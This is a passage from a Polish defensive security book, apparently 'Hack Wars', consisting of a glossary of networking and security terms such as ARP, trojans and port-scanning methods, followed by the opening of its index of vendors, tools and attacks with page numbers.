ARP (Address Resolution Protocol) — protokół określający adres sprzętowy kom-
putera na podstawie numeru IP.

ARPANET — eksperymentalna sieć komputerowa dużego zasięgu, która w latach 60.
pokryła Stany Zjednoczone. Jej realizacją zajmowała się ARPA (U.S. Department of
Defense’s Advanced Research Projects Agency).

ASCII (American Standard Code for Information Interchange) — uniwersalny
standard kodowania numerycznego liter, cyfr, zbioru podstawowych znaków graficz-
nych i przestankowych oraz pewnej ilości znaków sterujących w postaci 7 bitowych
słów. Kiedyś brakujący bit używany był jako tzw. „bit parzystości”, za pomocą którego
można było wykryć ewentualne błędy transmisji, teraz stosuje się go do rozszerzenia
ilości znaków w standardzie.

background image


390

Hack Wars. Tom 2. Na tropie hakerów

390

Backdoor — patrz: „tylne drzwi”.

Bajt — za bajt przyjęło się uznawać jednostkę składającą się z 8 bitów informacji,
gdyż w takich najmniejszych blokach są przetwarzane dane w większości systemów
komputerowych.

Bind — serwer usługi DNS (Domain Name Service) tłumaczącej nazwy domen na
odpowiadające im adresy IP.

Bit — jednocyfrowa liczba o podstawie 2 (0 lub 1); najmniejsza jednostka informacji.

Bomby pocztowe — poczta elektroniczna wysyłana w celu zapchania skrzynki pocz-
towej ofiary, spam. Bomby pocztowe z reguły przybierają postać niewielkiej ilości li-
stów z dużymi załącznikami lub też tysięcy małych wiadomości.

Bootp — usługa pozwalająca na przydzielanie podłączonym do sieci komputerom
bez pamięci dyskowej ich własnych adresów IP. Bootp identyfikuje komputery żąda-
jące przydzielenia adresu na podstawie ich konfiguracji sprzętowej, w szczególności
adresu MAC wbudowanego w kartę sieciową.

Buffer Flow Control — kontrola zajętości bufora — technika pozwalająca zapobie-
gać przepełnieniom buforów powiązanych ze strumieniami danych. Kiedy jeden
z procesów wysyła przez strumień większą ilość danych, niż drugi jest w stanie odebrać,
jest on zatrzymywany, aby wolniejszy proces mógł nadążyć z odbieraniem i przetwa-
rzaniem danych.

Buforowanie — technika ułatwiająca utrzymanie ciągłości strumienia danych. Buforo-
wanie znakomicie ułatwia wyrównanie prędkości przetwarzania danych przez procesy,
znajdujące się na dwóch końcach strumienia. Jeżeli na przykład proces A ma przekazać
procesowi B przez sieć pewną ilość informacji, A po prostu „wrzuca” dane do bufora
po swojej stronie strumienia, nie martwiąc się o nie więcej. Następnie system operacyjny
odczytuje sekwencyjnie dane z bufora, wysyłając je do gospodarza procesu B. System
operacyjny po drugiej stronie strumienia umieszcza dane w buforze, z którego proces B
może je w dowolnym momencie przeczytać.

Cracker — osoba, która omija zabezpieczenia sieci lub określonego systemu, by
uzyskać do niej nieautoryzowany dostęp, tzn. włamać się do systemu. Typowym celem
takiej osoby jest nielegalne zdobycie poufnych informacji lub użycie systemu w jakikol-
wiek inny nielegalny sposób.

CRC (Cyclic Redundancy Check) — jest sposobem weryfikacji poprawności da-
nych za pomocą tzw. sum kontrolnych. Przykładem zastosowania może być kontrola
procesu przesyłania danych w sieci.

CSMA/CD (Carrier Sense with Multiple Acces and Collision Detection) — technolo-
gia pozwalająca wykryć i obsłużyć kolizje w sieciach Ethernet. Interfejsy sieciowe,
które wywołały kolizje, natychmiast przerywają swoją transmisję. Ten, który jako pierw-
szy wykrył kolizję, wysyła w sieć informację o zajściu kolizji. Następnie każdy z nich
oczekuje przez przypadkowy okres czasu na wznowienie transmisji. W przypadku
występowania sekwencji kolizji, przypadkowy czas oczekiwania zostaje podwojony.

background image


Dodatek F

Słowniczek najważniejszych pojęć

391

391

Datagram — pakiet tzw. protokołu bezpołączeniowego, na przykład protokołu UDP.

Demultiplexing — proces rozdzielania strumieni danych, połączonych uprzednio
w jeden strumień za pomocą multiplexingu.

DMZ (Demilitarized Zone) — przestrzeń sieciowa położona za zaporą firewall, ale
odseparowana od sieci wewnętrznej.

DSL (Digital Subscriber Line) — łącze z Internetem o przepustowości nawet od 6 do 30
razy większej od łączy w technologii ISDN przy dużo mniejszych kosztach, ponieważ
DSL używa tradycyjnych linii telefonicznych.

FDDI (Fiber-Distributed Data Interface) — łącze światłowodowe dużej przepu-
stowości.

GUI (Graphical User Interface) — interfejs graficzny aplikacji.

Haker — osoba doskonale obeznana z różnymi technologiami informatycznymi, szcze-
gólnie zaś programowaniem. Haker jest osobą, której sprawia przyjemność zagłębianie się
w zagadnienia dotyczące budowy systemów operacyjnych i innych programów oraz wy-
korzystywanie tej wiedzy dla różnych, często niezgodnych z prawem celów, takich jak na
przykład włamywanie się do obcych systemów i sieci, czy przerabianie do własnych
celów różnych programów lub danych.

Handshaking — proces nawiązywania połączenia między dwoma końcami strumie-
nia informacji. Polega głównie na uzgodnieniu podstawowych parametrów transmisji
(na przykład prędkości transmisji między dwoma modemami).

HTML (Hypertext Markup Language) — język służący do opisu stron WWW.
Główną koncepcją języka jest wstawianie w tekst strony, specjalnych znaczników
formatujących i interpretujących tekst oraz sterujących sposobem wyświetlania strony.

Hub — koncentrator. Jest urządzeniem służącym do rozgałęziania sieci, zadaniem
którego jest powtarzanie sygnałów każdego fizycznego portu wejściowego wszystkim
pozostałym portom.

Inetd — demon sieciowy obsługujący wiele usług i przekazujący sterowanie do wła-
ś

ciwego serwera w chwili nawiązania połączenia z danym serwerem komputera zdalnego.

Stosuje się go w celu zaoszczędzenia pamięci operacyjnej komputera

InterNIC — organizacja przydzielająca i kontrolująca adresy IP w Internecie

1

.

IP (Internet Protocol) — podstawowy protokół internetowy opisujący komunikację
na 3. poziomie modelu OSI — odpowiedzialnym za wyznaczanie tras oraz sposób do-
starczania informacji. Protokół IP definiuje budowę pakietów oraz sposób ich trans-
misji między urządzeniami sieciowymi. IPX (Internetwork Packet Exchange)
protokół sieci NetWare.

1

Ale tylko na terenie Ameryki Pn. W Europie organizacja podobna ma nazwę RIPE, a nadzór nad tymi

organizacjami ma IANA — przyp. tłum.

background image


392

Hack Wars. Tom 2. Na tropie hakerów

392

Koń trojański — jest zwykłym (lub wyglądającym na zwykły) programem, udają-
cym często przydatne oprogramowanie, lecz wykonującym pewne operacje bez wie-
dzy i woli ich użytkownika. Zadaniem większości koni trojańskich jest pozostawienie
w systemie tzw. „tylnych drzwi”.

LAN (Local Area Network) — grupa komputerów położona na stosunkowo nie-
wielkim obszarze, połączona ze sobą jedynie podstawowymi urządzeniami sieciowy-
mi (kable, huby, switche), w sposób, w którym każdy komputer może komunikować
się z wszystkimi pozostałymi.

Luka w bezpieczeństwie — wszelkie przyczyny, które mogą potencjalnie stać się
pomocne we wniknięciu intruza do systemu, powiększeniu jego uprawnień w syste-
mie, pomagające atakującemu w jakikolwiek sposób utrudnić systemowi świadczenie
usług lub też pozwalające atakującemu przechwycić, skopiować dane poufne.

Łącze wirtualne — łącze wirtualne jest połączeniem pomiędzy dwoma punktami sieci
utworzonym tak, by wydawało się być fizycznym połączeniem (kawałkiem kabla, linią te-
lefoniczną itp.), lecz w rzeczywistości będącym złożeniem innych kanałów informacyj-
nych. Istnieją dwa rodzaje połączeń wirtualnych — PVC (tworzone na stałe lub dłuższy
okres czasu), oraz SVC (tworzone za każdym razem, gdy trzeba transportować dane).
Technika ta pozwala na przykład dwóm komputerom stojącym w laboratorium połączyć
się za pomocą kabla szeregowego, chociaż w rzeczywistości kabel ten nie istnieje, a dane
są transmitowane przez Internet (na przykład kiedy archaiczny program wymaga takiego
właśnie połączenia).

MAU (Multistation Access Unit) — urządzenie łączące komputery w sieć typu Token
Ring.

MTU (Maximum Transfer Unit) — największy pakiet protokołu IP, jaki może zo-
stać przetransportowany podczas konkretnego połączenia. Parametr ten jest ustalany
przez obie strony podczas nawiązywania połączenia

2

.

Multipleksowanie (Multiplexing) — metoda przesyłania wielu równoległych sygnałów
za pomocą jednego fizycznego kanału informacyjnego.

NetBEUI (NetBIOS Extended User Interface) — protokół używany w sieciach lokal-
nych Windows NT, LAN Manager oraz sieciach IBM do przesyłania plików i zdalnego
drukowania.

NetBIOS (Network Basic Input/Output System) — protokół pierwotnie przygoto-
wany jako interfejs sieciowy, którym miały się posługiwać programy pracujące w sieciach
IBM PC. Został jednak rozszerzony i obecnie może być używany w wielu innych po-
pularnych sieciach.

Routing dynamiczny— proces wymiany informacji między sąsiednimi ruterami, pozwa-
lający ustalić im właściwą topologię sieci, a dzięki temu właściwą drogę przebiegu pakie-
tów.

2

Można się jednak spotkać z sytuacjami, gdzie MTU nie jest ustalane w czasie połączenia, lecz na sztywno

ustawione i niezmienialne — przyp. tłum.

background image


Dodatek F

Słowniczek najważniejszych pojęć

393

393

Ochrona dostępności — zespół działań mających na celu zagwarantowanie dostęp-
ności pewnych ważnych i strategicznych usług. Składają się na niego z reguły syste-
my tworzenia kopii zapasowych oraz nadmiarowość posiadanego sprzętu.

OSI (Open Systems Interconnection) Model — zbiór umownych standardów doty-
czących komunikacji za pomocą komputerów zakładających m.in. podzielenie zagad-
nień i problemów dotyczących komunikacji na siedem umownych warstw, rozpoczy-
nając od najniższej — warstwy sprzętowej.

Pakiet — podstawowy nośnik transmisji danych w sieci Internet. Każda informacja
przesyłana przez sieć jest dzielona na części umieszczane w pakietach, a następnie
z pakietów ekstrahowane i łączone z powrotem w użyteczną informację.

Phreak — osoba, która włamuje się do sieci telefonicznych i innych chronionych sie-
ci telekomunikacyjnych, głównie w celu darmowego korzystania z usług firm teleko-
munikacyjnych.

Podział na podsieci — proces wykorzystywania otrzymanych adresów sieciowych na
zbudowanie w ich oparciu mniejszych sieci połączonych z głównym szkieletem.

Połączenie typu full-duplex — połączenie z możliwością jednoczesnej transmisji w obie
strony w celu zmniejszenia ograniczenia przepustowości sieci.

POP (Post Office Protocol) — jest protokołem służącym do przenoszenia poczty
elektronicznej z serwera pocztowego na komputer użytkownika. Protokół POP oparty
jest na architekturze klient-serwer, w której pocztę odbiera serwer pocztowy, a następnie
przechowuje ją do momentu, w którym użytkownik pobierze ją z serwera.

Porty standardowe — są to porty, na których domyślnie słuchają usługi sieciowe, na
przykład portem standardowym usługi SMTP jest 25.

Porty specjalne (zarezerwowane) — początkowe 1024 z ponad 65 000 portów dostęp-
nych w systemie operacyjnym. Porty te zarezerwowane są dla usług systemowych, z tego
też powodu połączenia wychodzące ( z wyjątkiem kilku przypadków ) realizowane są
przez porty o numeracji wyższej niż 1023.

Poziom błędów — stosunek ilości błędnie przesłanych pakietów do całkowitej liczby
pakietów.

PPP (Point-to-Point Protocol) — protokół służący do transportowania pakietów IP
przez łącza szeregowe lub telefoniczne.

Promiscious Mode — specjalny tryb działania interfejsu sieciowego, w którym reaguje
on na wszystkie pakiety mające kontakt z interfejsem, a nie tylko te, których jest przezna-
czeniem. Tryb ten pozwala na przykład rejestrować całkowity ruch w sieci lokalnej.

Protokół — zbiór zasad i norm dotyczących komunikowania się w sieci.

Przepustowość — miara zdolności kanału informacyjnego do przenoszenia informacji,
mierzona stosunkiem ilości informacji do czasu ich przesyłania.

background image


394

Hack Wars. Tom 2. Na tropie hakerów

394

PVC (Permanent Virtual Circuit) — stałe połączenie między urządzeniami DTE
przydatne do bardzo częstej transmisji danych.

Ramka — jest podstawową jednostką transmisji w sieciach zorientowanych na transmisję
bitową. Ramkę stanowią bity informacji wysłane bezpośrednio po sobie i zawierające:
adres źródła, adres przeznaczenia, dane oraz dodatkowe informacje kontrolujące
transmisję (między innymi rekordy pozwalające na detekcję, ewentualnie korekcję błędów
oraz indeksujące ramki).

RARP (Reverse Address Resolution Protocol) — \protokół pozwalający kompute-
rom rozgłaszać ich adres sprzętowy, oczekując tym samym odpowiedzi od serwera
przydzielającego adresy IP w sieci.

Replikacja — stadium rozwoju wirusa komputerowego, w którym stara się on, powiela-
jąc, zarazić jak najwięcej innych komputerów, programów itp.

Rozpoznanie — proces zbierania przez hakera informacji o systemach i sieciach po-
tencjalnie podatnych na atak, przydatnych później do opracowania odpowiedniego
planu działania.

Ryzyko dopuszczalne — ryzyko określone przez zarząd jako dozwolone przy danym
rodzaju działalności; ekonomicznie jest to ryzyko w punkcie, w którym równoważą
się koszty utrzymywania danego poziomu bezpieczeństwa z ewentualnymi stratami
pomnożonymi przez prawdopodobieństwo ich poniesienia.

SAP (Service Advertisement Protocol) — metoda, w której różne urządzenia sieciowe
rozgłaszają swoje adresy sieciowe oraz udostępniane usługi. Domyślnie informacje te
wysyłane są co 60 sekund.

Serwer plików — urządzenie sieciowe, którego głównym zadaniem jest udostępnia-
nie swojej przestrzeni dyskowej na ogół komputerom w sieci lokalnej. Rozwiązanie
takie ma na celu zmniejszenie kosztów pamięci dyskowej oraz zwiększenie bezpie-
czeństwa danych.

Skanowanie — skanowanie portów jest działaniem mającym na celu zbadanie okre-
ś

lonych portów określonych komputerów w poszukiwaniu różnych użytecznych in-

formacji. Specjalne programy (skanery portów) badają zadane porty w poszukiwaniu
tych, które wydają się być podatne na atak, lub też mogą zdradzić przydatne informacje.

Skanowanie fragmentacyjne — modyfikacja pozostałych metod skanowania, w której
pakiety przeznaczone do skanowania dzielone są na fragmenty. Jeżeli nagłówek pakietu
TCP zostanie podzielony na części, wtedy filtry pakietów będą miały znikome szanse
wykrycia skanowania.

Skanowanie metodą TCP (pełne) — najprostsza metoda skanowania, w której ska-
ner stara się nawiązać ze skanowanymi portami pełne połączenie.

background image


Dodatek F

Słowniczek najważniejszych pojęć

395

395

Skanowanie metodą TCP FIN — metoda skanowania portów utrudniająca wykrycie
faktu skanowania. Niektóre firewalle oraz filtry pakietów (takie jak na przykład Synlogger
czy Courtney) potrafią wykryć skanowanie pakietami SYN. W takich sytuacjach cza-
sami możliwe jest skanowanie pakietami FIN, gdyż otwarte porty z reguły odpowia-
dają na nie pakietami RST, podczas gdy zamknięte porty ignorują tego typu pakiety.

Skanowanie metodą TCP SYN — metoda skanowania nazywana również „skano-
waniem połówkowym”. W metodzie tej nie następuje otwarcie połączenia, zamiast
tego w kierunku skanowanego portu zostaje wysłany pakiet SYN, sugerujący otwarte
połączenie i oczekiwanie na odpowiedź. Jeżeli w odpowiedzi skaner otrzyma pakiet
SYN/ACK, oznacza to, że port nasłuchuje, w przeciwnym wypadku skaner otrzymuje
pakiet RST. Po otrzymaniu SYN/ACK skaner niezwłocznie „zamyka” połączenie,
wysyłając pakiet RST.

Skanowanie metodą UDP ICMP_PORT_UNREACH — metoda skanowania uży-
wająca protokołu UDP zamiast TCP. Wprawdzie protokół UDP jest mniej skompli-
kowany, lecz metody skanowania używające UDP muszą być bardziej wyrafinowane,
ponieważ otwarte porty nie mają obowiązku wysyłać odpowiedzi, a zamknięte nie
muszą wysyłać pakietów informujących o błędach. Na szczęście większość systemów
jest skonfigurowana do wysyłania pakietu ICMP_PORT_UNREACH w odpowiedzi
na wysłanie pakietu do zamkniętego portu. Pozwala to stwierdzić, które porty są za-
mknięte, a pośrednio — które są otwarte.

Skanowanie metodą UDP recvfrom() oraz write() — zwykli użytkownicy nie mo-
gą bezpośrednio otrzymywać pakietów informujących ICMP_PORT_UNREACH.
Jednakże system Linux informuje o tym fakcie pośrednio. Na przykład drugie i kolejne
wywołania funkcji write() z poleceniem zapisu do zamkniętego portu spowoduje zwróce-
nie błędu. Wiele skanerów (na przykład netcat i pscan.c) wykorzystuje z powodzeniem tę
metodę.

Skanowanie wewnętrzne — test, zwykle przeprowadzany przez administratora sieci,
mający za zadanie ujawnić ewentualne luki w mechanizmach bezpieczeństwa war-
stwy aplikacji oraz portów.

Sniffer — program, którego zadaniem jest pasywne rejestrowanie i kopiowanie ruchu
w sieci. Programy tego typu wykorzystywane są przez hakerów do zbierania informacji
o sieci oraz przechwytywania wysyłanych przez użytkowników i urządzenia sieciowe
informacji (na przykład haseł).

SNMP (Simple Network Management Protocol) — protokół służący do zarządzania
i monitorowania urządzeń sieciowych.

Strumień — kanał informacyjny służący do transmitowania danych między procesami
znajdującymi się na jego końcach.

SVC (Switched Virtual Circuit) — chwilowe połączenia pomiędzy urządzeniami
DTE służące przekazywaniu danych w większych odstępach czasu.

background image


396

Hack Wars. Tom 2. Na tropie hakerów

396

TCP (Transmission Control Protocol) — zadaniem protokołu TCP jest umożliwienie
połączenia, a następnie kontrola procesu przekazywania danych w strumieniu (na
przykład ponowne wysyłanie pakietów, które nie dotarły do miejsca przeznaczenia
lub dotarły zniekształcone).

Transmisja asynchroniczna — transmisja, która nie wykorzystuje sygnału synchro-
nizującego. W transmisji tej każda stacja nadawcza może próbować zacząć nadawanie
bez oczekiwania na taki sygnał.

Transmisja synchroniczna — transmisja wykorzystująca sygnał synchronizujący do
przesyłania informacji. Stacja nadawcza, chcąc wysłać jakąś informację po sieci, musi
wysyłać tę informację w ściśle określonych momentach czasu, wyznaczanych przez
sygnał synchronizujący.

Transmisja w postaci okien — ma miejsce wtedy, gdy dwa końce połączenia
uzgadniają, jaką liczbę segmentów mogą wysłać podczas każdej transmisji. Liczba ta
nazywana jest rozmiarem okna. Przykładowo, jeśli obie strony połączenia uzgodniły
rozmiar okna równy 3, oznacza to, że każda strona po wysłaniu 3 segmentów będzie
oczekiwać na odpowiedź drugiej. Transmisja zostanie wznowiona dopiero po otrzy-
maniu odpowiedzi.

Trojan — patrz „koń trojański”.

Tylne drzwi — termin ten określa każdą umyślnie wykonaną lukę w bezpieczeństwie
systemu, pozwalającą na przykład na ponowne włamanie się do niego. Hakerzy bardzo
często po jednokrotnym włamaniu tak zmieniają zaatakowany system, by w przyszłości
mogli włamać się do niego ponownie, lecz tym razem już bez większych przeszkód.

UDP (User Datagram Protocol) — protokół komunikacyjny, charakteryzujący się
niewielką ilością pakietów potrzebnych do wysłania krótkich informacji, gdyż w protoko-
le UDP nie nawiązuje się połączenia.

UUCP (UNIX-to-UNIX Copy Protocol) — zbiór programów wywodzących się z sys-
temu UNIX, służących do kopiowania plików pomiędzy dwoma komputerami, lecz,
co ważniejsze, również zdalnego wykonywania poleceń.

VLSM (Variable-Length Subnet Masking) — rozprzestrzenianie informacji podsieci za
pomocą routerów.

WAN (Wide Area Network) — sieci rozproszone na (geograficznie) dużym obszarze.

Wirusy — są programami rozprzestrzeniającymi się przez zarażanie innych programów
użytkowych lub też systemowych.

Wykrywanie błędów — zespół działań, których zadaniem jest wykrycie zakłóceń
podczas przechowywania lub transmisji danych. Powszechnie stosowanym sposobem
korekcji błędów jest dołączanie do danych pewnych informacji nadmiarowych (na
przykład sum kontrolnych, podpisów elektronicznych), na podstawie których można
przy odczycie danych stwierdzić, czy uległy uszkodzeniu.

background image

397

Skorowidz

10BaseT, 385
3Com, 225

filtrowanie, 226
hasła głównego klucza, 226
HiPer ARC, atak DoS, 225
logowanie do karty HiPer ARC, 226
NetServer 8/16, atak DoS, 226
Palm Pilota Pro, atak Dos, 227
system password debug, 226

802.3, 385

A

abel.exe, 107
Access, 173
access control lists, 27
Access Denied, 350
AccessPath LS-3, 229
Acid Shivers, 112
ACL, 27, 152, 212, 282, 296
ActiveX, 117, 213, 301, 339
ActiveX Console, 109
Address Resolution Protocol, 385
adm.exe, 108
administracja, 271
adres

elektroniczny, 37
IP, 37
MAC, 40, 116
URL, 57

AIX, 10

dtaction, 238
infod, 237
ujawnienie haseł, 237
zdalny root, 237, 238

akredytacja, 385
aktywacja, 385
aktywne połączenia sieciowe, 12
aktywne skanowanie, 212
algorytm usuwania kolizji, 316

AltaVista, 351
analiza zabezpieczeń, 299

alarmy, 305
dzienniki alarmów i zdarzeń, 305
inspekcja kodu źródłowego, 302, 304
inspekcja lokalnej infrastruktury, 312, 340
inspekcja połączeń wykorzystujących linie

telefoniczne, 300, 340

inspekcja sieci rozległej WAN, 341
niska przepustowość, 304
penetracja z wykorzystaniem wiedzy, 339
podszywanie się pod adres IP, 302
podział ruchu według rodziny protokołów, 304
przekierowanie hosta, 304
przygotowanie dokumentacji, 301
raport o problemach użytkowników, 304
raportowanie, 305
retransmisja pliku, 304
schemat adresowania IP/IPX, 302
skanowanie lokalizacji, 300, 301
slepe testowanie, 339
testy penetracji, 300, 301
testy podszywania się pod adres IP, 300
testy przepełnienia IP, 302
testy spamu, 303
uprzywilejowane punkty dostępowe, 302
usługi internetowe, 340
wykorzystanie pasma, 305
wyniki końcowe, 305
zamrożone klatki, 304
zbieranie informacji, 306
zdalna inspekcja, 300, 301, 303

analizator sesji, 58
anonimowość użytkownika, 147
AntiGen, 96, 105, 380
antigen.exe, 105
AOL Trojan, 113
Apache HTTP, 232

atak DoS, 233
kradzież CGI, 232

background image


398

Hack Wars. Administrator kontratakuje

398

tworzenie listy katalogów, 233

Apache Win32, 233
API, 385
aplikacja główna

kontrola operacyjna, 273
kontrola techniczna, 280

aplikacja wsadowa, 282
AppleTalk, 318
Application Programming Interface, 385
archiwizacja, 277, 290
ARP, 385
ARPANET, 385
AS5200, 229
AS5300, 229
AS5800, 229
Ascend, 225
Ascend MAX, 227
Ascend Pipeline, 227
Ascend/Lucent, 227

Ascend Pipeline, 227
atak MAX, 227
atak uszkodzonymi pakietami UDP, 227
MAX, 227
przeciążenie potoku haseł, 227

ASCII, 245, 385
ASP, 139, 148, 234
atak

Denial of Service, 11, 37
DoS, 225, 227, 228, 234, 236, 253, 255
DoS typu ARP, 228
flood, 232
HTTP DoS, 228
MAX, 227
NAT, 228
Nestea, 225
rozgłaszanie, 172
skanowania UDP, 228

ATM LS1010, 231
Attack FTP, 107
autoryzacja działania, 270, 272
awaria systemów obsługi, 274

B

Back Construction, 105, 107
Back Orifice, 114
Back Orifice Server, 96, 380
backdoor, 97, 161, 386
BackDoor, 108
bajt, 386
bazy danych, 302
bezpieczeństwo personelu, 286
bezpieczna usługa FTP, 352

bezpieczny serwer WWW, 58
bezpieczny telnet, 352
bezpośrednie łącza dzierżawione, 306
bind, 386
Bind, 39
bit, 386
bit parzystości, 385
BLA, 107
BlackICE, 255
BlackICE Defender, 115, 167
Blade Runner, 105
Blocking Time, 170
blokowanie portów, 10, 57, 116
Blowfish, 195
błąd wewnętrzny, 317
błędy pakietów, 315
BoDetect, 96, 380
bombardowanie pocztą, 37, 161
BombSquad, 381
bootp, 10, 40, 386
BorderWare, 252

tunelowanie, 253

BoServ, 380
BPX, 231
BrainSpy, 112
brainspy.exe, 112
brama, 223, 225

3Com, 225
Ascend/Lucent, 227
Cabletron/Enterasys

Cabletron/Enterasys, 228

HiPer ARC, 225
NetServer 8/16, 225

BRI, 212
BRI 0, 162
broadcasting, 172
BSD, 238

atak DoS, 238
panika BSD, 238

Bubbel, 110
bubbel.exe, 110
Buffer Flow Control, 386
bufor poczty, 58
buforowanie, 386
Bugs, 109

C

C2500-IOS56I-L, 231
C4000-IK2S-M, 231
Cabletron, 152, 225
Cabletron/Enterasys, 228

atak DoS, 228

background image


Skorowidz

399

399

blokowanie procesora, 228
Router SSR 8000, 228
SmartSwitch Router, 228

Cain & Abel, 107
Carrier Sense with Multiple Acces and Collision

Detection, 386

CCDA, 5
CCIE, 5
CCNP, 5
CD-ROM, 285
cechy biometryczne, 295
certyfikat, 385
CGI, 139, 214, 301, 302
CGI Exploit Scanner, 214
CGIScan, 382
chargen, 10, 12, 168
chat, 58
Check Promiscuous Mode, 199
Checkpoint FireWall-1, 152
CIAC

biuletyn informacyjny, 194

Cisco, 169, 225, 228

AS5200, 229
atak DoS, 228
atak HTTP DoS, 229
atak NAT, 230
atak skanowania UDP, 231
C2500-IOS56I-L, 231
C4000-IK2S-M, 231
IOS 2500, 231
IOS 4000, 231
łamacz haseł IOS, 230
Route-Switch Module, 230
SC3640, 229
ubr7200, 229
Voice Gateway, 229

Cisco CCNA, 5
Cisco IOS, 230
Citrix, 300, 304
cloaking, 118
cmctl32.exe, 105, 107
Coma, 112
Compaq ASE Enterprise Storage, 5
concealed ports, 9
control.ini, 11, 100
cookie.txt, 148
cookies, 148, 166

menedżer, 167

cookies.txt, 173
CoreBuilder 2500, 226
Courtney, 391
CPE, 212
CPM, 199
cracker, 7, 115, 386

CRC, 386
CSMA/CD, 386
Ctrl+Alt+Delete, 101
CyberCop Scanner, 305
cyberpunk, 115
Cyclic Redundancy Check, 386
cykl życia wiadomości pocztowej, 37
czynniki ryzyka pożarowego, 288
czyszczenie nośników, 272

D

dat92003.exe, 113
Data Service Unit, 306
datagram, 10, 39, 387
debug mode, 199
Deep Throat, 106
Delta Source, 114
Demilitarized Zone, 38, 387
demon, 10

DNS, 39, 40
fcagent, 239
finger, 309
FTP, 17, 354
HTTP, 57
infod, 237
IRC, 354
monitorowania usług, 355
portmap, 59
serwera WWW, 214, 223
SMTP, 37
Talk, 60
Telnet, 25
TFTP, 41

demultiplexing, 387
Denial of Service, 11, 37
DES, 195
Devil, 114
DHCP, 318
Digital, 10
Digital RootBeer, 109
Digital Subscriber Line, 387
Distributed.net, 63
DMZ, 38, 57, 254, 387
dnetc.exe, 63
DNS, 37, 39, 116, 302

główne klastry, 37
informacje o wersji oprogramowania, 40
MX, 37
odwrotne zapytania, 40

DOCSIS, 212
dokumentacja, 279, 292
Doly Trojan, 107

background image


400

Hack Wars. Administrator kontratakuje

400

domain, 10, 39
Domain Name Service, 39, 386
domena, 38
domyślna brama, 318
DoS, 11, 117, 169, 225
DoS Attack Threshold, 169
dostawca Internetu, 300
drag-and-drop, 98
drwatsom.exe, 107
DSL, 115, 387
DSU, 306
dtaction, 238
DTE, 306, 390
dwupunktowe łącza dzierżawione, 306
dynamic routing, 60
dynamiczne wybieranie trasy, 60
dysk twardy, 345
dzienniki alarmów i zdarzeń, 305

E

echo, 10, 11, 168
Eclipse, 110
edytor HTML, 344, 348
e-mail, 38, 39, 138
Email Password Sender, 105
emulacja terminali, 26
en-cid12.dat, 112
en-cid12.exe, 112
Encryptor, 205, 382
Enterasys, 152, 228
Ethernet, 312
Ethernet 1, 162
Excite, 351
exec, 10
Executor, 106
expl32.exe, 114

F

fazy analizy bezpieczeństwa, 301

inspekcja lokalnej infrastruktury, 304
inspekcja połączeń wykorzystujących linie

telefoniczne, 304

inspekcja sieci rozległej WAN, 305
penetracja z wykorzystaniem zdobytych

informacji, 302

raportowanie, 305
ś

lepe testy, 301

usługi internetowe, 303

fazy cyklu życia systemu, 269
fcagent, 239
FDDI, 387

FFK.exe, 249
Fiber-Distributed Data Interface, 387
FibreVault, 239
File Nail, 110
filtrowanie, 226

pakietów, 211

filtry IP, 157
finger, 10, 57, 309
Firehotker, 106
firewall, 7, 38, 57, 115, 162, 224, 245

BlackICE Defender, 115
Cisco PIX, 157
FireWall-1, 252, 253
LockDown 2000, 117
NetScreen, 158, 165
Norton Internet Security, 117
TigerGuard, 119
ZoneAlarm Pro, 118

FireWall-1, 252, 253

FW-1, 253
pełny atak DoS, 253

flooding, 40, 161
Fore, 105
fore.exe, 105
Frame Relay, 304
FTP, 7, 10, 13

ograniczenia połączeń, 16
połączenia anonimowe, 16
Tiger FTP, 17
uprawnienia, 17
zmiana komunikatu powitalnego, 15

ftp.exe, 105
FTP99CMP, 108
full-duplex, 389
FW-1, 253

G

GateCrasher, 111
gateway, 223
Gauntlet, 252, 253

atak DoS, 253
wykonanie niebezpiecznego kodu przez

przepełnienie bufora, 254

generator losowych haseł, 381
generowanie haseł, 196
GET, żądanie, 234, 236
Ghost KeyLogger, 174
GirlFriend, 113
Global Timer Values, 169
godny zaufania segment sieci, 41
Graphical User Interface, 387
GroupWise, 236

background image


Skorowidz

401

401

Guest, 17
GUI, 26, 387
Guide to Developing Security Plans for

Information Technology Systems, 257

H

Hack’99 KeyLogger, 112
Hack'a'Tack, 114
haker, 7, 115, 387
half-handshake ping, 253
handshaking, 387
hash, 278, 292
hasło, 196, 281, 295
HDKill.bat, 248
hierarchiczna baza danych, 11, 100
HiPer ARC, 225

adm, 226
atak DoS, 225
logowanie do karty, 226

HKEY_CLASSES_ROOT, 100
HKEY_CURRENT_CONFIG, 101
HKEY_CURRENT_USER, 100
HKEY_DYN_DATA, 101
HKEY_LOCAL_MACHINE, 101
HKEY_USERS, 101
HKeyLog.exe, 112
home environment handling, 238
hool.exe, 113
host, 148
hosts.allow, 27
hosts.deny, 27
hosts_access, 27
HotBot, 351
HP/UX, 239
hping, 253
HP-UX 9, 10
HTML, 387
HTR, żądanie, 234
http, 10
HTTP, 57, 223, 304
HTTPD, 223
hub, 387
Hypertext Markup Language, 387
Hypertext Transfer Protocol, 57

I

IANA, 383
IBM, 388
ICEpaq Security Suite, 116
ICMP, 151, 167, 232, 304
ICMP redirect message, 304

ICMP_PORT_UNREACH, 391
ICQ, 117
Idcide Privacy Wall, 167
identyfikacja, 280, 294

nieaktywne identyfikatory użytkowników, 281,

294

obsługa identyfikatorów użytkowników, 280,

294

powiązania działań z użytkownikami, 280
unikalna identyfikacja, 294

identyfikacja systemu, 262

informacje kontaktowe, 263
nazwa systemu, 263
odpowiedzialna organizacja, 263

IEEE 802.3, 385
ifconfig, 199
ifstatus, 199, 381
IGX, 231
IIS, 234
Illusion Mailer, 109
imap, 240
IMAP4, 303
imapd.c, 240
InCommand, 112
indeksujące ramki, 390
index.dat, 173
inetd, 10, 168, 310, 387
inetd.conf, 10, 26, 40, 168, 310
infod, 237
InfoSeek, 351
infrastruktura, 318

sieciowa, 300

inipx.exe, 107
inspekcja

lokalnej infrastruktury, 312
połączeń wykorzystujących linie telefoniczne,

300

Intel, 225
Intel 486, 5
Intel Certfied Solutions Konsultant, 5
Intel Express, 231

atak DoS, 231

inteligentny terminal, 262
Internet, 264, 352
Internet Protocol, 387
Internet Services Database, 10
Internetwork Packet Exchange, 387
InterNIC, 387
Invisible FTP, 105
Invisible KeyLogger, 174
inżynieria społeczna, 158
IOS, 228, 230, 303
IOS 2500, 231
IOS 4000, 231

background image


402

Hack Wars. Administrator kontratakuje

402

IP, 253, 304, 387
IP/IPX, 318
IPSec, 211
IPv6, 211
IPX, 387
IRC, 354
IRIX, 10, 239

atak DoS, 239
dostęp roota, 239

ISDN, 162
ISP, 37, 136
IT, 258

J

JammerKillah, 106
